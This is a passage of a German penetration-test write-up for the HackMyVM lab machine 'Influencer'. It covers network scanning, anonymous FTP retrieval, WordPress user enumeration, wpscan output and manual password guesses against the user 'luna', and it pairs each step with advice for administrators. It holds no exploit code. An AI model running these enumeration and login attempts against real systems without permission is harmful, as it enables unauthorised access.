Influencer - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
ftp
wget
ll (ls -la)
cat
feroxbuster
nikto
vi
curl
jq
wpscan
cupp
stegseek
mysql
ss
ssh
sudo
exiftool
socat
nc
python3 -m http.server
nano

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Der erste Schritt in jedem Pentest ist die Aufklärung (Reconnaissance), um das Zielsystem und seine Netzwerkumgebung zu verstehen. Hier nutze ich `arp-scan` mit der Option `-l`, um alle aktiven Geräte im lokalen Netzwerk (typischerweise das Subnetz, in dem sich mein Kali-System befindet) zu identifizieren. Die Ausgabe wird dann mit `grep "PCS"` gefiltert, um speziell nach Geräten des Herstellers "PCS Systemtechnik" zu suchen, was oft auf VirtualBox-VMs hinweist. Schließlich extrahiere ich mit `awk '{print $1}'` nur das erste Feld der passenden Zeile, was die IP-Adresse ist.

**Bewertung:** Dieser Befehl ist sehr effektiv, um schnell die IP-Adresse des Zielsystems zu finden, wenn man den Netzwerkbereich kennt und weiß, dass es sich um eine virtuelle Maschine von Oracle/VirtualBox handelt (da diese oft MAC-Adressen mit dem PCS-Prefix verwenden). Es ist ein schnellerer Weg als ein vollständiger Subnetz-Scan mit Nmap, wenn man spezifische Kriterien hat.

**Empfehlung (Pentester):** Starte immer mit der Netzwerkaufklärung, um das Ziel zu lokalisieren. Nutze spezifische Filter, wenn Hinweise auf die Umgebung (wie VM-Plattformen) vorliegen.
**Empfehlung (Admin):** Überwache ARP-Anfragen im Netzwerk, um ungewöhnliche Scans oder die Identifizierung von Systemen anhand von MAC-Adressen zu erkennen. Sei dir bewusst, dass Standard-MAC-Prefixe Hinweise auf die verwendete Virtualisierungsplattform geben können.

┌──(root㉿CCat)-[~] └─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.40

**Analyse:** Nachdem die IP-Adresse des Zielsystems (192.168.2.40) identifiziert wurde, führe ich einen schnellen Nmap-Scan durch. Die Optionen sind `-sS` (SYN-Scan, schnell und unauffällig), `-sC` (Standard-Skripte, identifiziert gängige Dienste und Schwachstellen), `-sV` (Versionserkennung der Dienste), `-p-` (scannt alle 65535 Ports) und `-T5` (aggressives Timing für Geschwindigkeit). Die Ausgabe wird wiederum gefiltert, diesmal mit `grep open`, um nur die Zeilen anzuzeigen, die offene Ports und die darauf laufenden Dienste auflisten.

**Bewertung:** Dieser erste Nmap-Scan gibt mir einen schnellen Überblick über die erreichbaren Dienste auf dem Ziel. Die Ergebnisse zeigen zwei offene Ports: 80/tcp (HTTP) und 2121/tcp (FTP). Das sind die primären Angriffsvektoren, die ich als nächstes untersuchen werde. Der Port 2121 für FTP ist untypisch und deutet möglicherweise auf eine Konfigurationsänderung oder einen spezifischen Zweck hin.

**Empfehlung (Pentester):** Beginne die Dienstidentifizierung mit schnellen Scans, um Prioritäten zu setzen. Konzentriere dich zuerst auf gängige oder untypisch konfigurierte offene Ports.
**Empfehlung (Admin):** Führe regelmäßige Port-Scans deines eigenen Netzwerks durch, um unbeabsichtigt offene Ports zu identifizieren. Standard-Ports zu ändern kann eine minimale zusätzliche Hürde darstellen, ersetzt aber keine eigentliche Sicherheit.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.40 | grep open
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
2121/tcp open  ftp     vsftpd 3.0.5

**Analyse:** Dies ist der vollständige Nmap-Scan vom Zielsystem. Ich habe denselben Befehl wie zuvor verwendet (`-sS`, `-sC`, `-sV`, `-p-`, `-T5`, `-AO` für Aggressive OS detection). Die Ausgabe ist sehr detailliert und liefert wichtige Informationen. PORT 80 läuft Apache httpd 2.4.52, PORT 2121 läuft vsftpd 3.0.5. Die Skriptergebnisse (`|_http-server-header`, `|_http-title`, `| ftp-anon`, `| ftp-syst`) sind besonders wertvoll. Das HTTP-Titel "Apache2 Ubuntu Default Page: It works" deutet auf eine Standardkonfiguration hin, aber das wird sich später als anders herausstellen. Der FTP-Scan zeigt, dass anonymer Login erlaubt ist (`Anonymous FTP login allowed (FTP code 230)`) und listet die Dateien im anonymen FTP-Verzeichnis auf. Dazu gehören mehrere JPG-Dateien und eine `note.txt`. vsFTPd 3.0.5 wird als "secure, fast, stable" beworben, ist aber auf dieser Version potenziell für bestimmte Schwachstellen anfällig, auch wenn der anonyme Zugriff hier das offensichtlichste Problem ist. Die OS-Erkennung ist unsicher ("No exact OS matches"), was aber oft der Fall ist. Die MAC Adresse 08:00:27:55:E1:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) bestätigt "PCS Systemtechnik", was meinen anfänglichen `arp-scan` Fund untermauert.

**Bewertung:** Der Nmap-Scan hat die offenen Dienste bestätigt und mir kritische Informationen für die nächsten Schritte geliefert: einen anonymen FTP-Zugang mit scheinbar interessanten Dateien und einen Webserver, der weiter untersucht werden muss. Der anonyme FTP-Zugriff ist eine erhebliche Schwachstelle, die sofort ausgenutzt werden sollte. Die vorhandene `note.txt` ist potenziell ein wichtiger Hinweis.

**Empfehlung (Pentester):** Untersuche gefundene Dienste methodisch. Priorisiere offensichtliche Schwachstellen wie anonymen FTP-Zugriff. Lade alle zugänglichen Dateien herunter und analysiere sie auf Hinweise.
**Empfehlung (Admin):** Deaktiviere anonymen FTP-Zugriff, es sei denn, er ist zwingend erforderlich und die geteilten Daten sind absolut unkritisch. Stelle sicher, dass keine sensiblen Dateien über FTP zugänglich sind. Halte Dienste wie Apache auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Deaktiviere Nmap-Skripte, die unnötige Informationen preisgeben könnten (z.B. ETag-Infos).

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.40
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-12 21:30 CEST
Nmap scan report for influencer (192.168.2.40)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2121/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0           11113 Jun 09  2023 facebook.jpg
| -rw-r--r--    1 0        0           35427 Jun 09  2023 github.jpg
| -rw-r--r--    1 0        0           88816 Jun 09  2023 instagram.jpg
| -rw-r--r--    1 0        0           27159 Jun 09  2023 linkedin.jpg
| -rw-r--r--    1 0        0              28 Jun 08  2023 note.txt
|_-rw-r--r--    1 0        0          124263 Jun 09  2023 snapchat.jpg
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
MAC Address: 08:00:27:55:E1:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: OpenWrt 21.02 (Linux 5.4) (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (98%), Linux 4.19 (96%), Linux 6.0 (96%), Linux 5.0 - 5.14 (95%), Linux 2.6.32 (95%), Linux 3.3 (95%), Linux 4.15 (95%), Linux 3.2 - 4.14 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms influencer (192.168.2.40)

Nmap done: 1 IP address (1 host up) scanned in 14.99 seconds

Web Enumeration

**Analyse:** Basierend auf dem Nmap-Ergebnis beginne ich die detaillierte Untersuchung des FTP-Dienstes auf Port 2121. Ich verwende den nativen `ftp`-Client, um eine Verbindung herzustellen. Gemäß der Nmap-Ausgabe versuche ich den anonymen Login, indem ich "anonymous" als Benutzernamen eingebe und das Passwort-Feld leer lasse (oder ebenfalls "anonymous" eingebe, was von vielen Servern akzeptiert wird, wenn anonymer Login erlaubt ist). Der FTP-Server (vsFTPd 3.0.5) bestätigt den Login mit dem Code 230. Ich wechsle dann in den Binary-Modus, um sicherzustellen, dass Dateien korrekt übertragen werden, und liste die Dateien im aktuellen Verzeichnis mit `ls -la` auf.

**Bewertung:** Der anonyme FTP-Zugriff ist erfolgreich, was eine kritische Schwachstelle darstellt. Die Auflistung der Dateien zeigt eine Reihe von JPG-Dateien und eine `note.txt`. Dies bestätigt die in der Nmap-Ausgabe gesehenen Dateien und lenkt die Aufmerksamkeit sofort auf die Textdatei, da diese oft Hinweise oder Zugangsdaten enthält. Die Möglichkeit, Dateien über anonymes FTP zu lesen, ist ein direkter Einblick in potenziell sensible Informationen.

**Empfehlung (Pentester):** Bei anonymem FTP-Zugriff immer alle verfügbaren Dateien herunterladen und sorgfältig prüfen. Achte besonders auf Textdateien, Konfigurationsdateien oder Bilder (wegen möglicher Steganografie).
**Empfehlung (Admin):** Deaktiviere anonymen FTP-Zugriff vollständig, es sei denn, es gibt einen sehr spezifischen, kontrollierten Anwendungsfall. Wenn anonymen Zugriff erforderlich ist, stelle sicher, dass das Verzeichnis nur nicht-sensible, öffentliche Daten enthält und Schreibzugriff deaktiviert ist.

┌──(root㉿CCat)-[~] └─# ftp 192.168.2.40 -p 2121
Connected to 192.168.2.40.
220 (vsFTPd 3.0.5)
Name (192.168.2.40:ccat): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls -la
229 Entering Extended Passive Mode (|||42387|)
150 Here comes the directory listing.
dr-xr-xr-x    2 1000     65534        4096 Jun 09  2023 .
dr-xr-xr-x    2 1000     65534        4096 Jun 09  2023 ..
-rw-r--r--    1 0        0           11113 Jun 09  2023 facebook.jpg
-rw-r--r--    1 0        0           35427 Jun 09  2023 github.jpg
-rw-r--r--    1 0        0           88816 Jun 09  2023 instagram.jpg
-rw-r--r--    1 0        0           27159 Jun 09  2023 linkedin.jpg
-rw-r--r--    1 0        0              28 Jun 08  2023 note.txt
-rw-r--r--    1 0        0          124263 Jun 09  2023 snapchat.jpg
226 Directory send OK.
ftp>

**Analyse:** Um alle Dateien schnell und effizient vom anonymen FTP-Server herunterzuladen, nutze ich `wget`. Der Befehl `wget -r` ermöglicht den rekursiven Download. Ich gebe die URL zum FTP-Verzeichnis an, einschließlich des Benutzernamens "Anonymous" und lasse das Passwort leer (was `wget` standardmäßig als anonymen Login interpretiert, oder man kann "Anonymous" als Passwort angeben). Der Port 2121 wird explizit genannt. Die Ausgabe von `wget` bestätigt den Verbindungsaufbau, den Login und das Herunterladen der Dateien.

**Bewertung:** `wget -r` ist ein sehr praktisches Tool, um schnell komplette Verzeichnisstrukturen von FTP-Servern herunterzuladen. Der erfolgreiche Download aller Dateien, insbesondere der `note.txt` und der JPGs, verschafft mir lokalen Zugriff auf potenziell wichtige Informationen, die auf dem Zielsystem lagen. Dies ist ein direkter Gewinn durch die anonyme FTP-Schwachstelle.

**Empfehlung (Pentester):** Nutze Tools wie `wget` oder `lftp` für den schnellen rekursiven Download von FTP-Inhalten. Prüfe die heruntergeladenen Dateien auf offensichtliche Hinweise (Textdateien) und weniger offensichtliche (Metadaten in Bildern, Steganografie).
**Empfehlung (Admin):** Erlaube niemals anonymen Schreibzugriff auf FTP-Server. Überprüfe regelmäßig die Inhalte von FTP-Verzeichnissen, die anonym zugänglich sind, um sicherzustellen, dass keine unbeabsichtigten oder sensiblen Dateien dort abgelegt wurden.

┌──(root㉿CCat)-[~/influencer] └─# wget -r ftp://Anonymous:Anonymous@192.168.2.40:2121
--2025-06-12 22:33:37--  ftp://Anonymous:*password*@192.168.2.40:2121/
           => »192.168.2.40:2121/.listing«
Verbindungsaufbau zu 192.168.2.40:2121 … verbunden.
Anmelden als Anonymous … Angemeldet!
==> SYST ... fertig.    ==> PWD ... fertig.
==> TYPE I ... fertig.  ==> CWD nicht notwendig.
==> PASV ... fertig.    ==> LIST ... fertig.

192.168.2.40:2121/.listing                          [ <=>                                                                                                  ]     534  --.-KB/s    in 0s      
.....
...
..
2025-06-12 22:33:37 (142 MB/s) - »192.168.2.40:2121/snapchat.jpg« gespeichert [124263]

BEENDET --2025-06-12 22:33:37--
Verstrichene Zeit: 0,03s
Geholt: 6 Dateien, 280K in 0,002s (113 MB/s)

**Analyse:** Nachdem die Dateien heruntergeladen wurden, navigiere ich in das lokale Verzeichnis, in das `wget` die Dateien gespeichert hat (typischerweise ein Unterverzeichnis, das nach der IP-Adresse und dem Port benannt ist). Mit `ll` (ein Alias für `ls -la`) liste ich die Dateien auf, um ihren Namen, ihre Größe und Berechtigungen zu sehen. Anschließend verwende ich `cat`, um den Inhalt der Datei `note.txt` anzuzeigen, da dies die vielversprechendste Datei für Hinweise ist.

**Bewertung:** Die `ll` Ausgabe bestätigt, dass alle Dateien korrekt heruntergeladen wurden. Der Inhalt von `note.txt` ist ein klarer Hinweis: "- Change wordpress password". Dies ist ein sehr wichtiger Fund, da er direkt auf das Web-Ziel (WordPress) verweist und suggeriert, dass das Passwort schwach oder Standard sein könnte oder geändert werden muss. Dies priorisiert die Untersuchung der WordPress-Installation.

**Empfehlung (Pentester):** Untersuche alle heruntergeladenen Dateien auf Hinweise, insbesondere Textdateien. Folge klaren Hinweisen wie dem, der in `note.txt` gefunden wurde, um die nächsten Schritte im Pentest zu bestimmen.
**Empfehlung (Admin):** Speichere niemals sensible Informationen oder Hinweise (wie "Change password") in öffentlich zugänglichen Dateien, selbst auf internen oder Testsystemen. Gehe davon aus, dass alles, was öffentlich zugänglich ist, gefunden wird. Implementiere Richtlinien für sichere Passwortverwaltung.

┌──(root㉿CCat)-[~/influencer/192.168.2.40:2121] └─# ll
insgesamt 292
-rw-r--r-- 1 root root  11113  9. Jun 2023  facebook.jpg
-rw-r--r-- 1 root root  35427  9. Jun 2023  github.jpg
-rw-r--r-- 1 root root  88816  9. Jun 2023  instagram.jpg
-rw-r--r-- 1 root root  27159  9. Jun 2023  linkedin.jpg
-rw-r--r-- 1 root root     28  8. Jun 2023  note.txt
-rw-r--r-- 1 root root 124263  9. Jun 2023  snapchat.jpg
┌──(root㉿CCat)-[~/influencer/192.168.2.40:2121] └─# cat note.txt
- Change wordpress password

**Analyse:** Der Hinweis in `note.txt` verweist auf WordPress. Um die WordPress-Installation unter einem aussagekräftigeren Namen als nur der IP-Adresse anzusprechen, trage ich den Hostnamen `influencer.hmv` in meine lokale `/etc/hosts` Datei ein. Dies ermöglicht es mir, im Browser und mit Tools wie `wpscan` oder `curl` statt der IP-Adresse den zugewiesenen Hostnamen zu verwenden. Ich benutze `vi` zum Bearbeiten der Datei, füge die Zeile `192.168.2.40 influencer.hmv` hinzu und speichere die Änderungen.

**Bewertung:** Das Eintragen des Hostnamens in die lokale `hosts`-Datei ist eine Standardvorgehensweise in Pentests, wenn das Ziel eine benannte virtuelle Maschine oder eine Webanwendung mit virtuellem Host ist. Es verbessert die Lesbarkeit der Befehle und URLs im weiteren Verlauf des Tests erheblich und simuliert eine DNS-Auflösung.

**Empfehlung (Pentester):** Verwende die lokale `hosts`-Datei, um Zielen, die per IP erreichbar sind, aussagekräftige Namen zuzuweisen. Dies macht den Bericht klarer und die Befehle einfacher zu handhaben.
**Empfehlung (Admin):** Stelle sicher, dass interne Hostnamen nicht leicht durch externe Angreifer erraten werden können oder Informationen über die interne Netzwerkstruktur preisgeben. Nutze interne DNS-Server anstelle von lokalen Host-Dateien für eine zentralisierte Verwaltung.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
  192.168.2.40    influencer.hmv

**Analyse:** Ich rufe die Hauptseite der WordPress-Installation im Browser auf, um die Webanwendung zu erkunden und nach offensichtlichen Informationen zu suchen. Basierend auf dem Nmap-Titel erwartete ich zuerst die Standard-Apache-Seite, aber der Browseraufruf unter `http://192.168.2.40/wordpress/` zeigt direkt eine WordPress-Blog-Seite.

**Bewertung:** Der direkte Aufruf der URL enthüllt die WordPress-Installation. Es ist wichtig, die Webanwendung manuell zu durchsuchen, um den Inhalt, die Struktur und potenzielle Hinweise zu verstehen, die automatisierte Tools möglicherweise übersehen. Ich sehe einen Blogbeitrag mit dem Titel "¡Hello world!" und den Namen "luna" als Autor. Das ist der erste identifizierte Benutzername.

**Empfehlung (Pentester):** Führe immer eine manuelle Erkundung der Webanwendung durch, zusätzlich zu automatisierten Scans. Achte auf Benutzernamen, Kommentare, Datumsangaben oder andere persönliche Informationen, die für Passwort-Angriffe nützlich sein könnten.
**Empfehlung (Admin):** Veröffentliche keine Test- oder Entwicklungsseiten unbeabsichtigt. Stelle sicher, dass die Hauptseite die beabsichtigte Webanwendung zeigt. Überprüfe regelmäßig den öffentlich sichtbaren Inhalt auf sensible Informationen.

http://192.168.2.40/wordpress/

My new blog!

    Home

Test
¡Hello world!
luna Jun 8, 2023 1 Comments

My name is Luna Shine, and I am thrilled to share my passion for fashion with all of you. Born on June 24, 1997, I have dedicated my life to…

**Analyse:** Ich navigiere zum Blogbeitrag "¡Hello world!" und finde dort einen Kommentar. Der Inhalt des Kommentars ist für meine Aufklärung extrem wertvoll. Es ist ein Kommentar von "Admin" an "Luna", der sie auffordert, ihr WordPress-Passwort zu ändern und keine persönlichen Informationen in Passwörtern zu verwenden. Dieser Kommentar wird sowohl auf Englisch als auch auf Spanisch angezeigt. Der Kommentar nennt explizit den Benutzernamen "Luna" und liefert einen klaren Hinweis darauf, dass das Passwort schwach ist oder persönliche Informationen enthalten könnte.

**Bewertung:** Dies ist ein Volltreffer für die Informationsbeschaffung! Der Kommentar liefert nicht nur den Benutzernamen "Luna", sondern auch einen starken Hinweis auf die Art der möglichen Schwachstelle: ein leicht zu erratendes Passwort basierend auf persönlichen Informationen. Dies ist eine direkte Einladung, einen Passwort-Angriff gegen den Benutzer "luna" mit einem speziell angefertigten Wörterbuch durchzuführen.

**Empfehlung (Pentester):** Suche immer nach Kommentaren oder anderen öffentlich zugänglichen Inhalten, die Hinweise auf Benutzerkonten, Passwortrichtlinien oder andere Schwachstellen geben könnten. Nutze gefundene Informationen (wie Namen, Geburtsdaten, Haustiere, Firmennamen aus Profilen oder Kommentaren) für gezielte Passwort-Angriffe.
**Empfehlung (Admin):** Überwache Kommentare auf sensible Informationen. Implementiere strenge Passwortrichtlinien und erzwinge deren Einhaltung. Verwende keine Standardbenutzernamen wie "Admin" für Kommentare oder andere sichtbare Aktivitäten, es sei denn, dies ist absolut notwendig.

http://192.168.2.40/wordpress/index.php/2023/06/08/hola-mundo/

One thought on “¡Hello world!”

    Admin says:	
    8 de June de 2023 at 15:34	

    Luna, remember to change your password before uploading the website, and stop using personal information in your passwords. Put some effort into it.

    Luna, recuerda antes de subir la web cambiar tu contraseña y dejar de usar información personal en las contraseñas. Dedícale un poco más de esfuerzo.

**Analyse:** Um weitere Benutzernamen zu identifizieren und Informationen über den Benutzer "luna" zu erhalten, nutze ich die WordPress REST API. Der Endpunkt `/wp-json/wp/v2/users/` kann Informationen über Benutzer preisgeben. Ich verwende `curl` mit der Option `-s` (silent) und leite die Ausgabe an `jq` weiter, um die JSON-Antwort formatiert anzuzeigen. Ich teste die Benutzer-IDs 1 und 2.

**Bewertung:** Der Aufruf mit ID 1 liefert detaillierte Informationen über den Benutzer "luna", einschließlich des Benutzernamens, eines Links zur Autorenseite und Avataren. Dies bestätigt "luna" als gültigen Benutzer und Hauptautor des Blogs. Der Aufruf mit ID 2 liefert einen "Invalid user ID" Fehler, was bedeutet, dass Benutzer mit dieser ID nicht existieren (oder nicht über die API zugänglich sind). Die REST API kann standardmäßig Informationen über Benutzer preisgeben und ist eine häufige Quelle für Benutzernamen.

**Empfehlung (Pentester):** Nutze die WordPress REST API (`/wp-json/wp/v2/users/`) zur Benutzer-Enumeration. Beginne mit ID 1 und erhöhe, bis ungültige IDs gefunden werden.
**Empfehlung (Admin):** Deaktiviere den öffentlichen Zugriff auf den `/wp-json/wp/v2/users/` Endpunkt, wenn keine externe Anwendung ihn benötigt. Dies kann über Plugins oder Webserver-Konfiguration (z.B. `.htaccess`) erfolgen. Entferne Standard-Benutzer wie "admin" und verwende stattdessen eindeutige Benutzernamen.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.40/wordpress/index.php/wp-json/wp/v2/users/1 | jq
{
  "id": 1,
  "name": "luna",
  "url": "http://192.168.1.167/wordpress", <-- Interessanter interner Link!
  "description": "",
  "link": [Link: http://192.168.2.40/wordpress/index.php/author/luna/ | Ziel: http://192.168.2.40/wordpress/index.php/author/luna/],
  "slug": "luna",
  "avatar_urls": {
    "24": "https://secure.gravatar.com/avatar/642f32e56d7b7b2dec23a084a9f4677527f4b07d41041a5508049a3f9267c148?s=24&d=mm&r=g",
    "48": "https://secure.gravatar.com/avatar/642f32e56d7b7b2dec23a084a9f4677527f4b07d41041a5508049a3f9267c148?s=48&d=mm&r=g",
    "96": "https://secure.gravatar.com/avatar/642f32e56d7b7b2dec23a084a9f4677527f4b07d41041a5508049a3f9267c148?s=96&d=mm&r=g"
  },
  "meta": [],
  "_links": {
    "self": [
      {
        "href": "http://192.168.2.40/wordpress/index.php/wp-json/wp/v2/users/1",
        "targetHints": {
          "allow": [
            "GET"
          ]
        }
      }
    ],
    "collection": [
      {
        "href": "http://192.168.2.40/wordpress/index.php/wp-json/wp/v2/users"
      }
    ]
  }
}
┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.40/wordpress/index.php/wp-json/wp/v2/users/2 | jq
{
  "code": "rest_user_invalid_id",
  "message": "Invalid user ID.",
  "data": {
    "status": 404
  }
}

**Analyse:** Mit dem identifizierten Benutzernamen "luna" und dem Hinweis, dass das Passwort persönliche Informationen enthält, nutze ich nun das spezialisierte Tool `wpscan` für eine detaillierte Schwachstellenanalyse der WordPress-Installation. Ich verwende die Optionen `--url` für die Ziel-URL (unter Verwendung des zuvor hinzugefügten Hostnamens `influencer.hmv`), `--api-token` (hier aus Sicherheitsgründen im Bericht maskiert) für erweiterte Prüfungen, `--enumerate ap,u` um angreifbare Plugins ('ap') und Benutzer ('u') zu enumerieren, und `--plugins-detection aggressive` für eine gründlichere Pluginsuche.

**Bewertung:** `wpscan` ist ein unverzichtbares Werkzeug für WordPress-Pentests. Die Ausgabe liefert viele nützliche Informationen: die Apache-Version, die Bestätigung von XML-RPC, das Vorhandensein der `readme.html`, die offene Uploads-Verzeichnislistung, die aktivierte externe WP-Cron und die genaue WordPress-Version (6.8.1). Es identifiziert auch das Akismet-Plugin in einer veralteten Version (5.1 statt 5.4). Die Benutzer-Enumeration bestätigt erneut den Benutzer "luna". Diese Erkenntnisse liefern zahlreiche potenzielle Angriffsflächen und bestätigen gefundene Schwachstellen.

**Empfehlung (Pentester):** Verwende spezialisierte Scanner wie `wpscan` für gängige CMS wie WordPress. Prüfe die Ergebnisse sorgfältig auf veraltete Versionen, Fehlkonfigurationen (wie offene Verzeichnislistungen) und bekannte Schwachstellen in Plugins oder Themes.
**Empfehlung (Admin):** Entferne die `readme.html`, wenn sie nicht benötigt wird. Deaktiviere die Verzeichnislistung für Upload-Verzeichnisse im Webserver (z.B. mittels `.htaccess` mit `Options -Indexes`). Überwache die WP-Cron-Nutzung und sichere XML-RPC, falls es nicht benötigt wird. Halte WordPress-Core, Themes und Plugins *immer* auf dem neuesten Stand. Abonniere Sicherheitswarnungen für deine verwendeten Komponenten.

┌──(root㉿CCat)-[~] └─# wpscan --url http://influencer.hmv/wordpress --api-token ... --enumerate ap,u --plugins-detection aggressive
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - [Link: https://automattic.com/ | Ziel: https://automattic.com/]
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://influencer.hmv/wordpress/ [192.168.2.40]
[+] Started: Thu Jun 12 22:48:46 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.52 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://influencer.hmv/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - [Link: http://codex.wordpress.org/XML-RPC_Pingback_API | Ziel: http://codex.wordpress.org/XML-RPC_Pingback_API]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/]

[+] WordPress readme found: http://influencer.hmv/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://influencer.hmv/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://influencer.hmv/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - [Link: https://www.iplocation.net/defend-wordpress-from-ddos | Ziel: https://www.iplocation.net/defend-wordpress-from-ddos]
 |  - [Link: https://github.com/wpscanteam/wpscan/issues/1299 | Ziel: https://github.com/wpscanteam/wpscan/issues/1299]

[+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://influencer.hmv/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://influencer.hmv/wordpress/, Match: 'WordPress 6.8.1'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Aggressive Methods)
^[[A Checking Known Locations - Time: 00:00:26 <==        > (30261 / 111078) 27.24%  ETA: 00:0 Checking Known Locations - Time: 00:01:34 <========> (111078 / 111078) 100.00% Time: 00:01:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://influencer.hmv/wordpress/wp-content/plugins/akismet/
 | Last Updated: 2025-05-07T16:30:00.000Z
 | Readme: http://influencer.hmv/wordpress/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.4
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://influencer.hmv/wordpress/wp-content/plugins/akismet/, status: 200
 |
 | Version: 5.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://influencer.hmv/wordpress/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://influencer.hmv/wordpress/wp-content/plugins/akismet/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] luna
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 23

[+] Finished: Thu Jun 12 22:50:36 2025
[+] Requests Done: 111108
[+] Cached Requests: 31
[+] Data Sent: 32.272 MB
[+] Data Received: 14.929 MB
[+] Memory used: 408.812 MB
[+] Elapsed time: 00:01:50

**Analyse:** Basierend auf dem Hinweis aus `note.txt` und der Bestätigung des Benutzernamens "luna" durch WP-JSON und `wpscan` versuche ich, mich über die WordPress-Login-Seite einzuloggen. Ich teste zunächst gängige oder naheliegende Passwörter wie "admin", "password" und "password123" mit dem Benutzernamen "luna".

**Bewertung:** Die manuellen Login-Versuche schlagen fehl, aber die Fehlermeldung "Error: The password you entered for the username luna is incorrect." bestätigt, dass der Benutzername "luna" existiert. Dies ist nützlich, um sicherzustellen, dass ich gegen ein gültiges Konto brute-forcen werde.

**Empfehlung (Pentester):** Teste immer einige naheliegende Standard- oder schwache Passwörter manuell, bevor du zu automatisierten Brute-Force-Tools greifst.
**Empfehlung (Admin):** Implementiere eine Account-Sperrung nach mehreren fehlgeschlagenen Login-Versuchen, um Brute-Force-Angriffe zu erschweren. Verwende aussagekräftige Fehlermeldungen nur für *existierende* Benutzer, um Benutzer-Enumeration zu erschweren (obwohl dies bei WordPress oft schwierig umzusetzen ist).

http://192.168.2.40/wordpress/wp-login.php

versuch: luna:admin
         luna:password
         luna:password123



Log In
Powered by WordPress

Error: The password you entered for the username luna is incorrect. Lost your password?

Username or Email Address
Password

Remember Me

Lost your password?	

← Go to My new blog!	
Language

